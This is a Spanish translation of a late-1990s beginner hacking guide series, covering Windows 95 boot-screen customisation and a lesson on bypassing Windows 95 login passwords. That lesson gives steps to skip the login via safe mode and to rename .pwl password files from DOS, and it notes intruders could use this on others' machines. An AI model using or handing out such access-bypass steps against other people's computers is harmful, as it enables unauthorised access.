Versión original: (C) Carolyn Meinel,
http://www.happyhacker.org

 

 

 



CAPÍTULOS PARA PRINCIPIANTES

 

TUTORIALES DIVERTIDOS PARA PRINCIPIANTES

 

VOLUMEN 1. Hacking en Unix

 

VOLUMEN 2. Más Unix

 

VOLUMEN 3

 

VOLUMEN 4

  • Guerras Hackers. La lucha contra los cibernazis

 

VOLUMEN 5. Capítulos para programadores

  • Programación shell para principiantes
  • Cómo funciona un programa de acceso a un sistema
  • La shell bash
  • Programación avanzada de shell
  • Cómo programar en C (I)
  • Cómo programar en C (II)

 

VOLUMEN 6. Hackers reales

  • Eric S. Raymond
  • Harold Willison

 

VOLUMEN 7

  • Juegos de Guerra Hackers

 

VOLUMEN 8

  • A través del cristal: cómo encontrar evidencias de un ataque

 

CAPÍTULOS SOBRE SISTEMAS MICROSOFT

  • Trabajo serio con Windows 95
  • Archivos de procesamiento por lotes
  • Cómo introducirse en Windows 95 desde Internet (I)
  • Cómo introducirse en Windows 95 desde Internet (II)
  • Cómo introducirse en Windows NT (I)
  • Cómo introducirse en Windows NT (II)

 

GUÍAS ESPECIALES

  • Leyes sobre delitos informáticos
  • Hacking con Macintosh

 


© KRIPTOPOLIS, 1996-2001

 

 

 

 

 

 

 

 


ASÍ QUE, ¿QUIERES SER UN HACKER INOFENSIVO?


"¿Quieres decir que se puede practicar hacking dentro de los márgenes legales?"

Esa era la voz de un novato de Secundaria. Me tenía al teléfono porque su padre le acababa de quitar el ordenador. ¿Su delito? Apropiarse de mi cuenta de acceso a Internet. El chico esperaba impresionarme demostrando lo "bueno" que era. Pero antes de que yo me diera cuenta de lo que había hecho, un administrador de sistemas de mi proveedor de acceso había rastreado la exploración inofensiva del chico y había avisado a sus padres. Ahora el chico quería mi ayuda para poder volver a Internet.

Le dije que estaba de acuerdo con su padre. ¿Y si al administrador y a mi no nos fueran las bromas? Este chico podría haber terminado detenido. No estoy de acuerdo con que se envíe a la cárcel a hackers inofensivos, y nunca habría declarado contra él. Pero eso es lo que ciertas personas hacen a la gente que anda husmeando por cuentas de acceso ajenas, incluso aunque no se haga ningún daño. ¡Este chico necesita saber cómo no meterse en líos!

El hacking es el juego más excitante del mundo. Pero deja de ser divertido cuando terminas en una celda con un compañero llamado "Spike". Pero se puede practicar hacking sin estar al margen de la ley. En esta serie de Guías enseñaremos hacking seguro para que no tengáis que estar mirando por encima del hombro por si aparecen narcos o polis.

De lo que estamos hablando es de hacking como un ejercicio saludable, una enseñanza no reglada que puede prepararos para un trabajo bien pagado. De hecho, muchos administradores de redes y sistemas, informáticos y expertos en seguridad informática aprendieron su profesión sin que los cursos universitarios fueran su principal fuente de conocimientos, recurriendo a la cultura hacker. Y os sorprenderiáis al descubrir que últimamente Internet es protegida no por agencias de seguridad ni grandes corporaciones, sino por una red mundial de... sí, hackers.

Tú también puedes ser uno de los nuestros.

Y el hacking puede ser sorprendentemente sencillo. ¡Demonios, si yo puedo hacerlo, cualquiera puede!

Sin importar por qué quieres ser un hacker, es simplemente una forma de divertirse, impresionar a tus amigos y ligar. Si eres una chica y eres hacker, te vuelves totalmente irresistible para los hombres. ¡Palabra! ;^D

Estas Guías de Hacking (casi) Inofensivo pueden ser vuestro punto de entrada a este mundo. Tras leer un poco de estas Guías, seréis capaces de hacer proezas que serán legales y divertidas y que impresionarán a vuestros amigos.

Estas guías pueden prepararos para convertiros en uno de los vigilantes que evitan que Internet sea destruida por los chicos malos. En especial por los spammers. Je, je, je. También podéis aprender a evitar que los malos se hagan con vuestra cuenta de acceso a Internet, vuestro correo electrónico o vuestro ordenador. Aprenderéis a no asustaros por estúpidos engaños que los bromistas usan para poner nerviosos a los usuarios de Internet normales.

Si seguís visitándonos a lo largo de más o menos un año, podréis aprender mucho y conocer a gente en nuestra lista de correo y en nuestro canal de chat que os ayudarán a ser de la élite.

Sin embargo, antes de introduciros en la subcultura hacker, estad preparados para enfrentaros al carácter del hacker. Estáis avisados.

Así que... ¡bienvenidos a la aventura del hacking!


¿Qué necesito para practicar hacking?


Podéis pensar que los hackers necesitan equipo informático caro y una estantería llena de manuales técnicos. ¡La respuesta es NO! ¡El hacking puede ser sorprendentemente fácil! Más aún, si sabéis buscar por la Web, podréis encontrar gratis casi cualquier información técnica que necesitéis.

De hecho, el hacking es tan fácil que si tenéis un acceso a Internet y sabéis cómo enviar y recibir correo, podéis empezar a practicar hacking inmediatamente. El segundo bloque de los capítulos para principiantes de las Guías de Hacking (en su mayor parte) Inofensivo os enseñará dónde podéis coger programas para Windows fáciles de usar para hackers que son totalmente gratis. Y os enseñaremos algunos trucos hackers con los que podéis usarlos.

Supongamos ahora que queréis convertiros en hackers de la élite. Todo lo que necesitaréis realmente es una poco costosa "cuenta shell" con un proveedor de acceso a Internet. En el tercer bloque de los capítulos para principiantes de las Guías de Hacking (casi) Inofensivo os diremos cómo conseguir una cuenta shell, cómo acceder a ella y empezar a jugar al mejor juego del mundo: ¡el hacking en Unix! Después, en los Volúmenes I, II y III podréis aprender seriamente hacking en Unix.

(Lo sentimos, chicos, cuando se escribió esto era fácil conseguir cuentas shell. Hoy es realmente difícil. Os sugiero que uséis Linux).

Podéis entrar incluso en la categoría de los hackers de primera sin necesitar un equipo caro. En el Volumen II os introduciremos a Linux, un sistema operativo gratuito amigo de los hackers. ¡Funcionará incluso en un 386 con 2 megas de RAM! Linux es tan bueno que muchos proveedores de acceso a Internet lo usan.

(Nota: esto se escribió en 1997. Esta parte sobre Linux está desfasada. Hoy deberíais haceros con un PC con al menos 12 megas de RAM y 500 megas de disco duro para usar Linux. Por suerte, hoy en día es mucho más fácil de instalar que en 1997. La distribución Caldera de Linux puede compartir el disco duro con Windows, y es tan fácil de instalar como Windows).

En el Volumen III también haremos una introducción a Perl, el lenguaje de programación en shell favorito de los hackers de primera. Incluso os enseñaremos algunos serios "exploits" hackers que se ejecutan en Linux con Perl. De acuerdo, podriáis usar estos exploits para hacer cosas ilegales. Pero sólo son ilegales si los usáis contra el ordenador de alguien sin su permiso. Podéis ejecutar cualquier programa de estas Guías en vuestro propio ordenador, o en el un amigo (que os deje) - ¡si os atrevéis! Eh, en serio, ninguna de las cosas que hay en estas guías hará un daño real a vuestro ordenador, a no ser que decidáis dañarlo intencionadamente.

También abriremos la puerta a un increíble underground en el que podéis estar al día de casi cualquier descubrimiento en fallos de seguridad informáticos. Podréis aprender a utilizarlos- ¡o a defender vuestro ordenador!


Sobre las Guías de Hacking (casi) Inofensivo


Hemos visto que hay multitud de libros que ensalzan a los hackers. Al leer estos libros podríais pensar que lleva muchos años de trabajo duro convertirse en uno de ellos. Por supuesto a los hackers nos gusta perpetuar ese mito porque nos hace parecer unos tíos increíbles.

Pero, ¿cuántos libros le cuentan al principiante paso a paso cómo hacer todos esos trucos hackers? ¡Ninguno! En serio, ¿habéis leido _Secrets of a Superhacker_, de The Knightmare (Loomponics, 1994) o _Forbidden Secrets of the Legion of Doom Hackers_, de Salacious Crumb (St. Mahoun Books, 1994)? Están llenos de información vaga y desfasada. ¡Paso de ellos!

Y si váis a un grupo de noticias de hackers y preguntáis a la gente cómo hacer tal o cual cosa, algunos de ellos os insultarán y se reirán de vosotros. Bueno, en realidad todos se reirán de vosotros.

Conocemos a muchos hackers que alardean mucho de lo que son, se dan un aire de misterio y no ayudan a otros a aprender hacking. ¿Por qué? Porque no quieren que sepáis la verdad, ¡que la mayoría de las cosas que hacen son muy simples!

Bien, nosotros también pensamos en esto. Nosotros también podíamos disfrutar del placer de insultar a la gente que nos preguntara cómo practicar hacking. O podíamos alimentar nuestro ego enseñando a miles de personas a practicar hacking. Jajajajaja.


Cómo usar las Guías de Hacking (en su mayor parte) Inofensivo


Si sabéis usar un ordenador y estáis conectados a Internet, ya sabéis suficiente para empezar a aprender a ser hackers. Ni siquiera tenéis que leer absolutamente todas las Guías de Hacking (casi) Inofensivo en orden para convertiros en hackers.

Podéis estar seguros de que lo que hay en los Volúmenes I, II y III es tan fácil que podéis empezar por donde queráis y simplemente seguir las instrucciones.

Pero si tenéis pensado ser de la élite, lo mejor es que leáis todas las Guías, busquéis información por muchos webs y grupos de noticias que os indicaremos y que busquéis un maestro entre los muchos hackers con grandes conocimientos que envían información a nuestro foro Hackers o que van al chat de nuestro servidor IRC en http://www.infowar.com, además de a la lista de correo de Happy Hacker (enviad un mensaje a hacker@techbroker.com poniendo en el cuerpo del mensaje "subscribe" sin comillas).

Si vuestro objetivo es convertiros en un hacker de primera clase, estas Guías serán sólo el primero de los montones de material que tendréis que estudiar. Sin embargo, os ofrecemos un plan de estudio que puede ayudaros en vuestra búsqueda de la cumbre del hacking.


Cómo no acabar metido en líos


Un pequeño problema con el hacking es que si dáis un paso más alla, podéis terminar en la cárcel. Haremos todo lo posible para avisaros cuando hablemos de cosas que os pueden causar problemas legales. Pero no somos abogados ni expertos en leyes referidas al mundo digital. Además, cada estado y cada país tiene sus propias leyes. Y estas leyes cambian. Así que usad un poco de sentido común.

Tenemos sin embargo un capítulo dedicado a leyes sobre delitos informáticos para evitaros algunos riesgos.

Pero la mejor forma de no meterse en problemas es la Regla de Oro. Si váis a hacer algo que no os gustaría que os hicieran, olvidadlo. Practicad hacking que haga que el mundo sea mejor, o que al menos sea divertido e inofensivo, y os mantendréis alejados de problemas.

Así que si a partir de las Guías de Hacking (casi) Inofensivo se os ocurre una idea que os permita hacer algo maligno o destructivo, es vuestro problema si termináis siendo otro hacker que termina entre rejas. Eh, a la ley no le importa si ese tío al que le habéis machacado el ordenador es un cap... No le importa el que la gran corporación a la que le habéis mangado la base de datos le hizo la puñeta a un amigo vuestro. Sólo le importa que violásteis la ley.

A alguna gente le puede resultar divertido convertirse en la gran estrella de la última oleada de histeria sobre los malignos hackers. Pero una vez termine el juicio, cuando algún lector de estas Guías termine siendo a regañadientes la "novia" de un preso llamado Spike, ¿le harán feliz sus recortes de prensa?


Convenciones seguidas en estas guías


Los hackers también tienen su jerga. Dado que con frecuencia nos comunicamos a través de correo electrónico, la mayor parte de nuestra jerga son palabras normales deletreadas de formas raras. Por ejemplo, un hacker puede escribir "élite" como "3l1t3," sustituyendo las "e"s por "3" y las "i"s por "1". Incluso puede escribir "élite" como "31337". Las Guías usan a veces esta forma de deletrear para ayudaros a aprender a escribir correo electrónico como hackers.

Por supuesto, el deletreo molón que hacemos quedará desfasado rápidamente. Así que no os garantizamos que si lo usáis, la gente leerá vuestro correo y pensara "¡Ooooh, debe ser un Genio Maligno! ¡Estoy taaaaan impresionado!"

Hacednos caso, los tíos que necesitan seguir inventando jerga nueva para demostrar que son "k-rad 3l1t3" son con frecuencia perdedores e inútiles. Así que si no queréis usar el argot hacker de estas Guías, por nosotros, perfecto. La mayoría de los hackers de élite no lo usan.


¿Quiénes sóis vosotros?


Hemos hecho algunas suposiciones sobre quiénes sóis y por qué estáis leyendo estas Guías:

¿Entráis en esta definición? Entonces, tíos, encended vuestros ordenadores. ¿Preparados para practicar hacking?

 

 

 

 

 

 


¡HACKING EN WINDOWS 95!
(también funciona en Windows 98)


Aviso importante: esta lección es para principiantes. PRINCIPIANTES. Agradeceré que todos los super-expertos de la élite os saltéis esta lección en lugar de leerla y sentir que se os está insultando por lo fácil que es, para después enviarme correos diciendo "¡¡¡Estas Guías son demasiado fáciles para nosotros, te odiamos!!!&$%" Estudiad algo que sea un serio reto para vuestra mente, como "Unix para Torpes" ¿vale?
- - - - - - - - - - - -

¿Habéis visto alguna vez lo que ocurre cuando alguien que tiene una cuenta de America Online envía un mensaje a un grupo de noticias o una lista de correo de hackers, o si se conecta a un chat de hackers? Da su verdadero sentido al significado de "flame" en Internet, ¿eh?

Podéis pensar que reírse de tonto.novato@aol.com es tener prejuicios. Algo como el que los gerentes de grandes corporaciones no lleven rastas o que los que pertenecen a fraternidades no conduzcan Yugos.

Pero la verdadera razón por la que los hackers serios nunca usarían AOL es porque no ofrece cuentas shell Unix a sus usuarios. AOL le tiene miedo a Unix porque es el sistema operativo más fabuloso, excitante, poderoso y conveniente para los hackers de todo el Sistema Solar... tengo que calmarme... sea como sea, siento que me falta algo sin Unix. Así que AOL imagina que ofrecer cuentas shell Unix a sus usuarios es estar pidiendo que asalten su sistema.

Por desgracia, esta actitud se está extendiendo. Cada día más proveedores de acceso a Internet deciden dejar de ofrecer cuentas shell a sus usuarios.

Pero aunque no tengáis una cuenta shell Unix, todavía podéis practicar hacking. Todo lo que necesitáis es un ordenador que tenga Windows 95 y alguna cuenta de acceso a Internet, incluso una lenta como las de America Online o Compuserve.

En este Capítulo nº 2 para Principiantes hablaremos de varias cosas divertidas que se pueden hacer con Windows e incluso con los servicios de acceso más hostiles a hackers. Y recordad, todas estas cosas son realmente fáciles. No necesitáis ser genios. No necesitáis ser informáticos. No necesitáis haceros con un ordenador caro. Son cosas que cualquiera que tenga Windows 95 puede hacer.

Sección Uno: Modificación del aspecto de Windows 95. Configuración de las pantallas de arranque, el fondo y las de cierre de sistema para sorprender y asombrar a vuestros amigos que no sean hackers.

Sección Dos: Cómo saltarse los programas niñera de Windows como Surfwatch y las configuraciones empleadas en muchos colegios esperando evitar que los chicos usen programas no autorizados. Demostrad ante vosotros mismos- y ante vuestros amigos y compañeros de trabajo- que las passwords de Windows 95 son un chiste.

Sección Tres: Exploración de otros ordenadores -vale, hablemos claro, hacking- desde vuestro ordenador de casa con Windows incluso usando AOL para acceder a Internet.


Cómo modificar el aspecto de Windows 95


(Comentario añadido en 2000: ¿tenéis Windows 98? Estas técnicas funcionan tanto con Windows 98 como con Windows 95. Funciona en mi equipo con Windows 98. Si no podéis encontrar el archivo logo.sys, haceos uno siguiendo las especificaciones de esta Guía. Si eso no funciona- oh, bien, hay distintas variantes de Windows 98 y puede que tengáis una que no probamos. Pero eh, el auténtico hacking consiste en que luchéis con vuestros propios medios hasta conseguir que algo funcione).

Bien, supongamos que habéis organizado una fiesta salvaje en casa. Decidís demostrarle a vuestros colegas que sois uno de esos temibles hackers. Así que arrancáis vuestro ordenador y lo que aparece en vuestra pantalla es nada más y nada menos que el logotipo de "Windows 95". Es una imagen un poco pobre, ¿no? Vuestro ordenador es como el de cualquier otro. Igual que cualquier aburrido equipo de oficina utilizado por un tío cuyo coeficiente intelectual está en 80.

Si fueráis hackers serios, estaríais arrancando en vuestro ordenador Linux, o FreeBSD, o algún otro tipo de Unix. Pero vuestros amigos no saben eso. Así que tenéis una oportunidad de usar algo de ingeniería social con ellos y hacer que piensen que sóis de la élite simplemente modificando vuestra pantalla de arranque.

Supongamos que queréis arrancar con una pantalla negra con llamas naranjas y amarillas y la frase "Superhackers Malditos del Apocalipsis". Es muy fácil.

Microsoft quiere que hagáis un anuncio de su sistema operativo cada vez que arrancáis. De hecho, están tan interesados en esto que han ido a los tribunales para tratar de obligar a los distribuidores de ordenadores a mantener la pantalla de arranque de Micro$oft en los sistemas que venden estos distribuidores.

Así que a Microsoft no le gusta que juguéis con su pantalla de arranque. Así que M$ ha tratado de ocultar los archivos en los que se encuentra. Pero no los han escondido muy bien. Vamos a aprender hoy cómo destruir totalmente sus planes.


Nota para genios malignos: una de las cosas más gratificantes del hacking es encontrar archivos que están ocultos para tratar de evitar que los modifiquéis- y modificarlos. Esto es lo que estamos haciendo hoy.


El logotipo de arranque de Windows 95 está oculto en un archivo llamado c:\logo.sys y/o ip.sys. Para ver este archivo, id al Explorador de Windows, haced click en "Ver", después "Opciones de carpeta", y en "Ver", la opción "Mostrar todos los archivos". Después, de vuelta al menú "Ver" inicial, marcad la opción "Detalles". A la derecha del archivo logo.sys veréis las letras "rhs". Esto quiere decir que este archivo es de "sólo lectura, oculto, de sistema".

La razón por la que este inocente archivo gráfico está etiquetado como archivo de sistema- cuando en realidad no es más que un archivo gráfico con algo de animación- es porque Microsoft teme que lo cambiéis por algo como "Bienvenido a Windoze 95 - ¡El Desayuno de los Perdedores!" Así que al convertirlo en un archivo de sólo lectura y de sistema y ocultándolo como si fuera algo tan terriblemente importante que destruiréis vuestro ordenador si lo tocáis, Microsoft está tratando de engañaros para que lo dejéis en paz.

La manera más fácil de deshacerse de ese arranque de Windoze 95 y de las pantallas de cierre de sistema es ir a http://www.windows95.com/apps/ y usar sus programas. Pero somos hackers, así que hacemos las cosas por nosotros mismos. Esta es la forma de hacerlo sin un programa especializado.

Comenzaremos buscando el programa Paint de Microsoft. Posiblemente estará en el grupo de Accesorios. Pero en caso de que seáis como yo y os guste cambiar de sitio las cosas, ésta es la rutina a prueba de fallos de búsqueda de programas:

1.      Haced click en "Inicio" en la esquina inferior izquierda de vuestra pantalla.

2.      Haced click en "Buscar".

3.      Haced click en "Archivos o carpetas".

4.      En el nombre, poned "mspaint".

5.      En "Buscar en", seleccionad C:

6.      Marcad la casilla "Incluir subcarpetas".

7.      Haced click en "Buscar ahora".

8.      Haced doble click en el icono de una paleta de pintor, y aparecerá una ventana. Con esto habéis abierto Paint, el programa de dibujo.

9.      Dentro de Paint, haced click en "Archivo".

10.  Haced click en "Abrir".

Bien, ahora tenéis Paint, y una manera muy fácil de crear vuestra nueva pantalla de arranque:

11.  En "Nombre del archivo", teclead c:\windows\logos.sys. Con esto aparecerá la imagen que véis cuando vuestro ordenador está listo para que lo apaguéis, "Ahora puede apagar el equipo". Este gráfico tiene exactamente el mismo formato que tenéis que usar para vuestro gráfico de arranque. Así que podéis jugar con él como queráis (siempre y cuando no modifiquéis nada en la ventana Atributos del menú Imagen) y usarlo como base para vuestro gráfico de arranque.

12.  Jugaremos con esta imagen. Experimentad con los controles de Paint y probad cosas divertidas.

13.  Cuando os guste vuestro dibujo (poned cosas de estilo hacker en plan amenazador, ¿vale?), guardadlo como c:\logo.sys. Esto sobreescribirá el logo de arranque de Windows. A partir de ahora, cuando queráis cambiar vuestro logotipo de arranque, podréis tanto leer como modificar el archivo logo.sys.

14.  Si queréis cambiar las pantallas de cierre, es fácil encontrarlas y modificarlas con Paint. La primera pantalla de cierre es c:\windows\logow.sys. Y como hemos visto antes, la pantalla final "Ahora puede apagar el equipo" se llama c:\windows\logos.sys.

15.  Para hacer imágenes que se puedan usar como fondo del Escritorio, llamadlas algo como c:\windows\superhacker.bmp (poniendo vuestro nombre donde pone "superhacker"- a no ser que queráis que vuestro fondo se llame así).


Nota para genios malignos: la pantalla de arranque de Windows 95 tiene una barra animada abajo del todo. Pero una vez que la sustituís por vuestra propia imagen, perdéis esta animación. Sin embargo, podéis crear vuestra propia pantalla de arranque animada con el programa shareware BMP Wizard. Algunas direcciones donde podéis descargarlo:

http://www.pippin.com/English/ComputersSoftware/
Software/Windows95/graphic.htm

http://search.windows95.com/apps/
editors.html

http://www.windows95.com/apps/editors.html

O podéis bajaros el programa LogoMania, que cambia automáticamente el tamaño de cualquier imagen para que se ajuste al tamaño correcto de las pantallas de arranque y cierre, además de añadir distintos tipos de animaciones. Lo podéis encontrar en:

ftp.zdnet.com/pcmag/1997/0325/logoma.zip


Hay un problema al usar uno de los archivos de logotipo de Windows 95 existentes, y es que sólo podréis usar sus colores originales. Si queréis hacerlo realmente a lo loco, abrid de nuevo Paint. Id a "Imagen", "Atributos". Poned la Anchura en 320 y la Altura en 400. Aseguráos de que la unidad que está seleccionada es píxeles o Pels. Ahora podéis usar libremente cualquier combinación de color disponible en el programa. Recordad que tenéis que guardar el archivo como c:\logo.sys para la pantalla de arranque, o como c:\windows\logow.sys o c:\windows\logos.sys para las de cierre.

Pero si queréis material realmente fantástico para vuestra pantalla de arranque, podéis coger gráficos de vuestra página web favorita sobre hacking y ponerlos en las pantallas de arranque y cierre de Windows 95. Aquí está la forma de hacerlo.

1.      ¡Guau, gráficos guapos! Teniendo en la pantalla esa página web, pulsad el botón "Impr Pantalla" o "Prt Scr".

2.      Abrid Paint y fijad el ancho a 320 y la altura a 400 píxeles.

3.      Haced click en Editar, y luego en Pegar. Bam, tenéis la imagen en Paint.

4.      Al grabar, aseguraos de que en los atributos sigue poniendo 320x400. Nombradlo c:\logo.sys, c:\windows\logow.sys, c:\windows\logos.sys, o c:\windows\superhacker.bmp según dónde queráis ponerlo.

Por supuesto, podéis hacer lo mismo abriendo cualquier archivo de imagen en Paint o cualquier otro programa de edición de imágenes, siempre y cuando lo grabéis con el nombre de archivo correcto en el directorio correcto y que uséis el tamaño de 320x400.

¡Oh no, la amargada de la tía Suzie viene de visita y quiere usar mi ordenador para leer su correo electrónico! ¡La que me espera si ve mi pantalla de arranque de los Hackers Malditos del Apocalipsis!

Esto es lo que debéis hacer para recuperar vuestro aburrido logo de Micro$oft. Cambiad el nombre de c:\logo.sys a algo inocente que la tía Suzie no encontrará fisgando con el Explorador de Windows. Algo como logo.bak. ¿Adivináis lo que ocurrirá? Esos tíos de Microsoft se imaginaron que haríamos cosas como ésta y ocultaron una copia de su aburrido logo de arranque en un archivo llamado "io.sys". Así que si borráis o renombráis su logo.sys original, y no hay ningún otro archivo con ese nombre, en el arranque vuestro ordenador mostrará la antigua pantalla.

Supongamos ahora que vuestro equipo con Windows 95 está conectado a una red de área local (LAN). No es tan fácil cambiar el logo de arranque, ya que la red puede sobreescribir vuestros cambios. Pero hay una forma de vencer a la red. Si no tenéis miedo de que vuestro jefe vea vuestro "Hackers Malditos del Apocalipsis" plantado sobre una foto porno, esta es la forma en la que podéis cambiar vuestras imágenes de arranque.

El Editor de Políticas (viene en el CD de Windows 95) con el admin.adm por defecto os dejará modificarlo. Usad el Editor de Políticas para abrir el registro, seleccionad 'local computer' después 'network', 'logon' y 'logon banner'. Os mostrará la imagen actual y os permitirá cambiarla y volverla a guardar en el registro.


Nota para genios malignos: ¿queréis trabajar con io.sys o logo.sys? Aquí está la forma de hacerlo. Y además, es bueno aprender esto en caso de que necesitéis entrar en un ordenador con Windows- algo que veremos con detalle en la siguiente seccción. Haced click en "Inicio", "Programas", "Símbolo de MS DOS". En el prompt de MS DOS, teclead las siguientes órdenes:

ATTRIB -R -H -S C:\IO.SYS
ATTRIB -R -H -S C:\LOGO.SYS

Ahora están totalmente a vuestra merced, ¡jajajajajaaaa!

Pero no os sorprendáis si Paint no puede abrir estos archivos. Paint sólo abre archivos de imagen. Pero io.sys y logo.sys están configurados para ser usados por aplicaciones de animación.


Bien, eso es todo por ahora. Aquellos hackers de la 31337 que os hayáis sentido insultados al leer esto porque era demasiado fácil, se siente. Os avisé. Pero estoy segura de que mi equipo tiene una imagen de arranque mejor que la vuestra. ¡Hackers malditos del Apocalipsis, siiiiii!

 

 

 

MÁS HACKING EN WINDOWS 95
(¡Y UN POCO DE NT!)


(Esta lección también funciona en Windows 98)

Advertencia importante: ésta es una lección para principiantes. PRINCIPIANTES. Todos los genios que habéis nacido conociendo Windows de 32 bits, saltaos esta parte, ¿vale?. No necesitamos oir cuán disgustados estáis porque no todo el mundo conoce ya esto.
- - - - - - - - - - - - -

Advertencia para padres: en esta lección residen los fundamentos para aprender a practicar hacking con el sistema operativo actualmente más extendido: Windows NT. El sistema que, de hecho, está siendo ampliamente utilizado en redes locales, Internet, intranets y servidores web. Por lo que, si deseas considerarte un hacker serio, más vale que tengas sólidos conocimientos de Windows NT.
- - - - - - - - - - - - -

En esta lección, aprenderás técnicas muy útiles tanto en Windows 95 como en Windows NT. Todo ello mientras juegas de forma totalmente segura en tu propio ordenador.

Puntos que veremos en esta lección:

Permítenos situarte: tienes a tus compañeros en tu casa para verte practicar hacking con tu ordenador con Windows 95. Has preparado previamente una pantalla de arranque con aspecto realmente de hacker; así que los tienes a todos temblando creyendo que eres un tí0 de élite. ¿Cuál será tu primer paso?

¿Qué tal si haces click sobre "Inicio", luego sobre "Configuración", "Panel de Control", "Contraseñas"? Díles a tus compañeros tu contraseña actual, para permitirles seguidamente que pongan una nueva. Después, apaga la máquina y rétales a ver cuán rápido rompes su contraseña y te haces de nuevo con el control de tu máquina.

Esta hazaña es tan sencilla que hasta me avergüenza contarte cómo se hace. Cosas como ésta son las que te hacen exclamar: ¿y a esto le llaman protección por contraseña?, ¡cualquier idiota puede entrar en una máquina Windows 95!. Y tienes toda la razón. Pero ésta es la política de Micro$oft. Recuérdala la próxima vez que desees guardar algo confidencial en tu ordenador con Windows 95.

Y cuando llegue el momento de aprender a entrar en Windows NT, ten bien presente esta seguridad Micro$oft. Lo divertido es que hoy en día pocos hackers trastean con NT porque están casi todos muy ocupados entrando en máquinas Unix. Con la multitud de maravillosas vulnerabilidades que tiene Windows NT a la espera de ser descubiertas... Una vez veas lo fácil que es romper una máquina Windows 95, sentirás en tus huesos que, aunque no te guiemos, eres capaz de descubrir caminos para acceder a máquinas Windows NT.

Pero volvamos a la escena con tus compañeros esperando ver si eres un buen hacker. Puedes proponerles que se vuelvan de espaldas mientras tú entras en la máquina Windows 95 en menos de un minuto. O puedes enrollarte y enseñarles cómo se hace.

Antes de nada, una advertencia. Estas primeras técnicas que vamos a mostrarte funcionan en la mayoría de instalaciones domésticas de Windows 95. Pero en redes locales corporativas algunas de ellas no funcionan. Aunque no debemos preocuparnos, en esta lección se incluyen suficientes vías para entrar y tomar el control de cualquier máquina Windows 95 a la que tengas acceso físico. Pero, comencemos por los pasos más sencillos.

Acceso sencillo a Win 95, número 1:


Paso primero: arrancar el ordenador.

Paso segundo: Cuando aparezca la pantalla de "configuración del sistema", pulsar la tecla "F5". Si tu sistema no muestra esta pantalla, da igual, sigue presionando la tecla F5. Si tu sistema Windows 95 está bien configurado, esto hará que arranque en "modo a prueba de fallos". En este modo, el entorno parecerá extraño; pero no has tenido que introducir tu contraseña y sin embargo puedes ejecutar tus programas.

¡Demasiado fáil!. Bien, si quieres algo un poco más clásico, aquí tienes otro modo de saltarte esa nueva contraseña.

Acceso sencillo a Win 95, número 2:


Paso primero: arrancar.

Paso segundo: cuando aparezca la pantalla de "configuración del sistema", pulsar la tecla F8, con lo que obtendrás el menú de arranque de Microsoft Windows 95.

Paso tercero: elige la opción número 7, que arrancará el sistema en MS-DOS. En el indicador de sistema, ejecuta la orden: rename c:\windows\*.pwl c:\windows\*.zzz


Nota para principiantes: MS-DOS es la abreviatura de Microsoft Disk Operating System (Sistema Operativo en Disco de Microsoft), un anciano sistema operativo de 1981. Es un sistema operativo de línea de órdenes, lo que quiere decir que tienes un indicador de sistema (probablemente C:\>), detrás del cual has de teclear una orden y pulsar la tecla Enter para ejecutarlo. MS-DOS se abrevia frecuentemente con el nombre DOS. Es un tanto similar a Unix, y, de hecho, en su primera versión incorporaba cientos de líneas de código Unix.


Paso cuarto: volver a arrancar. Volverá a aparecer el cuadro de diálogo de contraseñas. Puedes fingir frente a tus compañeros e introducir la contraseña que quieras. El sistema te pedirá que la introduzcas por segunda vez, para confirmar esta nueva contraseña.

Paso quinto: tus compañeros son lo suficientemente perspicaces como para sospechar que has creado una nueva contraseña, ¿eh?. Pues bien, puedes volver a poner la contraseña anterior que ellos habían elegido. Usando la herramienta que prefieras -Administrador de archivos, Explorador de Windows o MS-DOS-, renombra *.zzz de nuevo a *.pwl

Paso sexto: vuelve a arrancar y deja que tus compañeros usen su contraseña secreta. ¡Continúa funcionando!.

Piensa en esto. Si alguien husmea en el ordenador Win95 de otra persona usando esta técnica, la única forma de que la víctima descubra al intruso es que se fije en los archivos modificados recientemente y descubra que los archivos *.pwl han sido tocados.


Truco de genio maligno: Excepto si la opción bootkeys=0 del archivo msdos.sys está activa, las teclas que pueden hacer algo durante el proceso de arranque son F4, F5, F6, F8, May+F5, Ctrl+F5 y May+F8. ¡Juega con ellas!.


Ahora supongamos que has descubierto que tu máquina Windows 95 no responde a las teclas de arranque. No te preocupes, aún puedes seguir rompiendo su sistema de acceso.

Si tu ordenador permite el uso de las teclas de arranque, es posible que desees deshabilitarlas para hacerlo más seguro. Es más, puede ser un puntazo el enseñar a tus compañeros el uso de las teclas de arranque, para luego deshabilitarlas y que cuando intenten trastear con tu ordenador descubran que lo has bloqueado.

La manera más sencilla -pero más lenta- de deshabilitar las teclas de arranque es elegir las configuraciones correspondientes al instalar Win 95. Pero nosotros somos hackers, por lo que tendremos un truco mas rápido para realizar esto. Vamos a estudiar cómo editar el archivo msdos.sys de Windows 95, el archivo que controla la secuencia de arrranque.

Método sencillo para editar el archivo msdos.sys:


Paso cero: Hacer una copia de seguridad completa de tu sistema, especialmente de los archivos de sistema. Comprueba que tienes a mano el disco de arranque de Windows 95. ¡Vamos a jugar con fuego!. Y si vas a realizar esto en el ordenador de otra persona, te deseamos que tengas permiso para destrozar su sistema operativo, o que seas tan bueno como para no cometer ningún error serio.


Comentario para novatos: ¿Que no tienes un disco de arranque?. ¡Imperdonable!. Todo el mundo ha de tener un disco de arranque para su ordenador, por si tus compañeros hacen algún desastre con tus archivos de sistema. Si no tienes ya un disco de arranque para Windows 95, ya va siendo hora de preparar uno. Para ello, necesitas un disquette en blanco y tu disco de instalación de Windows 95. Haz clic en Inicio, luego en Configuración y en Panel de Control, en Añadir/Quitar Programas, en el botón Disco de Arranque. A partir de ahí, sigue las instrucciones que irán apareciendo en pantalla.


Paso primero: Busca el archivo msdos.sys. Suele estar en el directorio raíz (normalmente C:\). Como es un archivo oculto de sistema, el mejor sistema para encontrarlo es hacer clic sobre Mi PC, luego clic con el botón derecho sobre el icono del disco de arranque (normalmente C:), clic con el izquierdo sobre Explorar, e irnos desplazando hacia abajo en la parte derecha de la pantalla hasta encontrar el archivo msdos.sys.

Paso segundo: Habilita msdos.sys para escritura. Haz clic con el botón derecho sobre el archivo msdos.sys, luego clic con el izquierdo sobre Propiedades. Aparecerá así una pantalla donde has de desmarcar los cuadros de "sólo lectura" y "oculto". De esta forma, se podrá abrir y editar el archivo en un procesador de textos.

